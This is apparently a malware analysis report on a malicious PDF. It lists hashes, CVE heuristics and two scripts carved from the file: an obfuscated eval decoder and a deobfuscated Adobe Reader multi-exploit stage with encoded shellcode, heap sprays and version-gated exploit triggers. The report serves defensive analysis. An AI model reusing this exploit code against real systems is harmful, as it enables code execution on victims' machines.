Malicious PDF — malware analysis report

Static analysis result for SHA-256 a52c5a8dc1dd231b…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-09
MD5: c40695c170270a2fe3c64895d1f7db99 SHA-1: 8ad7d4b8100c88f306f494df273daf6ee6fb09af SHA-256: a52c5a8dc1dd231bd1f51b026e855c04ef9687096a4fe8516ca0446b185264be
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF document contains embedded JavaScript, as indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also strongly flagged this PDF as malicious. While no specific URLs or hashes were extracted, the presence of JavaScript within a PDF is a common technique for delivering malicious content or exploiting vulnerabilities. The 'test' in the document body is not indicative of malicious intent but the embedded script is.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFAE 552 bytes
SHA-256: b83a4cb46435dce588a2a585c7e4e68df2b387a8f5bbd7539a18a4d488318d77
Preview script
First 1,000 lines of the extracted script
fggji='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[v+'r'](0,1))];
e('tiqaz=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'ti'+'t'+t);
s=tiqaz[v+a[6]](10,4) + 'tr';
fxioa=e('String.fro'+tiqaz[s](1,9));
q=tiqaz[tiqaz[v+'r'](10,4) + 'tr'](14);
jdb = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=jdb.length');
for (i = 0; i < k; i+=2) {
	dgq = jdb[i+1] + ('erybjkerl',jdb[i]);
	fggji += fxioa(dgq);
}
e(fggji);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: b8588a82d81632ec3d645a86147e67feb8bfd1b2177869be5d5626bab7eb28eb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3ab9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ubd34%ue2aa%uc3fa%ue5e8%uffff%u54ff%ubcb1%ubdbd%u3ce3%ue151%ubdbc%u34bd%u305a%uadf2%ud230%u8ce9%uea66%ueeec%ueeee%ueeee%ueeee%ueee8%ud5ee%ubcb9%ubdbd%uebe8%ud5ee%ud3d2%ubdbd%uc8d5%ud1cf%ue9d0%u33d5%ub3f3%u5551%ubdf5%ubdbd%u55ed%ubdc1%ubdbd%u6d42%u793e%ud5b5%u52f2%ub8f2%u55ed%ubdd1%ubdbd%u6d42%u7d38%uaac8%ue9d7%u4ee4%ud517%u43cf%uab0e%ua055%ubdbd%uedbd%uec55%ubdbd%u42bd%uee6d%u43d7%u34d5%ubcd2%u5500%ubdb5%ubdbd%u55ed%ubd81%ubdbd%u6d42%u8cdd%ud97d%ued36%u368d%ub1ef%uef36%u36a9%u95cf%ua504%ubdbd%u8cbd%u8c42%u117d%udc81%ubfc1%u9d91%u727c%ubcb0%u5f7a%u3c4d%ue642%uf701%u36d7%uadff%uaf36%u64c8%uf934%ua199%u7edc%u36dd%u99d1%u3699%u81f8%ue936%uc5b8%u57bc%uf736%u36a5%u9de7%u56bc%u895e%u36f4%u3689%u53bc%u428c%u7d8c%u1141%u7d39%ubac9%u727c%ubcb0%u567a%u8649%u99c1%uc895%u365c%u99e7%u56bc%u36db%uf6b1%ue736%ubca1%u3656%u36b9%u55bc%uf934%ua199%u7fdc%ubdb5%u5255%u4243%ud542%uc9c9%u87cd%u9292%ud2df%ud6d2%ud2d5%ud2d1%ud493%udbd3%u92d2%u93d9%ud5cd%u82cd%u80db%u8d89%ud89b%u8880%u00bd';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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